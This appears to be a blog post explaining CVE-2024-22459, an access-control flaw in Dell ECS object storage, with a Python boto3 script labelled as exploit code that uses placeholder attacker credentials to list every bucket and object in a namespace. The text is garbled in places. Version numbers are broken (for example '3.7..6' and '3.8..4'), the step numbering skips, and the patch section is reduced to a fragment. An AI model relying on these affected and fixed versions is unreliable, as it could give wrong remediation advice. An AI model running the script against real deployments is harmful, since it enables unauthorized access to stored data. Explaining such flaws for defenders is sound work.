Dell ECS is trusted worldwide as a robust object storage platform. But between versions 3.6 (up to 3.6.2.5), 3.7 (up to 3.7..6), and 3.8 (up to 3.8..4), the product was affected by a severe vulnerability: CVE-2024-22459. This blog post unpacks this threat, explains how it works, and shares essential steps to protect your environment.

What is CVE-2024-22459?

This vulnerability is about improper access control in Dell ECS. With the right (but misused) credentials, a remote attacker with high privileges could reach every bucket and all data within a namespace—even if more restrictive rules were in place.

The seriousness? Anyone with high privileges (like a domain admin or similarly powerful user) could bypass controls and see or steal all your stored data.

- CVE link: NVD - CVE-2024-22459
- Dell Advisory: DELL Security Advisory DSA-2024-22459
- Mitre: MITRE CVE Record

1. Vulnerability Details

In the vulnerable versions, ECS failed to properly restrict access for users with elevated roles. The access control check logic was flawed, so a high-privileged user's requests to list, view, or modify buckets weren't filtered by bucket-level permissions, but only by namespace.

2. Attack Scenario

Imagine an enterprise ECS deployment with several namespaces and multiple buckets per namespace. Each bucket is supposed to have separate ACLs (access control lists), allowing specific users or apps access just to their own data.

The exploit works like this

1. The attacker logs into the ECS API with a valid high-privileged user account (let’s say, a namespace admin).

They use the ECS S3-compatible API or REST endpoints to enumerate or access buckets.

3. Due to improper checks, they can see and manipulate all objects in all buckets under their namespace—ignoring any finer controls.

In short: Fine-grained access controls are ignored if the attacker has enough privileges at the namespace level.

Sample Exploitation—Using the S3 API

Let’s show how easy this is with a Python example using boto3.

Exploit Code Snippet

import boto3

# Replace with attacker's high-privilege credentials
access_key = 'ATTACKERS_ACCESS_KEY'
secret_key = 'ATTACKERS_SECRET_KEY'
ecs_endpoint = 'https://ecs.example.com:9021';

# Connect to ECS/S3 API
session = boto3.session.Session()
s3 = session.client(
    service_name='s3',
    aws_access_key_id=access_key,
    aws_secret_access_key=secret_key,
    endpoint_url=ecs_endpoint,
    verify=False  # Set to True with real certs in production
)

# List all buckets in the namespace
buckets = s3.list_buckets()
for bucket in buckets['Buckets']:
    print(f"Bucket found: {bucket['Name']}")

    # List contents of each bucket
    try:
        objects = s3.list_objects(Bucket=bucket['Name'])
        for obj in objects.get('Contents', []):
            print(f" -- {obj['Key']}")
    except Exception as e:
        print(f"Error listing objects in {bucket['Name']}: {e}")

Note: In a secure deployment, users not explicitly given access to a bucket should be denied access. This flaw allowed them in anyway.

Mass data breach risk: If compromised, one set of credentials unlocks all data in a namespace.

- Violates tenant isolation: Critical for multi-tenant deployments (service providers, large organizations).
- Chance for lateral movement: Attackers can “hop” across shared buckets and exfiltrate sensitive information.

3.8..5 or later for 3.8 branch

- Dell ECS Downloads & Updates

Conclusion

CVE-2024-22459 is a classic example of how a single access control mistake can cascade into a major enterprise security breach. If your organization runs any affected version of Dell ECS, patch without delay, audit your privilege assignments, and keep an eye on access logs.

Pro tip: High-privileged roles should always be issued with extreme caution. Even at the namespace level, least privilege is your friend!

References

- NVD CVE-2024-22459
- Dell ECS Security Advisory DSA-2024-22459
- ECS Documentation - Access Control

Timeline

Published on: 02/28/2024 09:15:43 UTC
Last modified on: 02/28/2024 14:06:45 UTC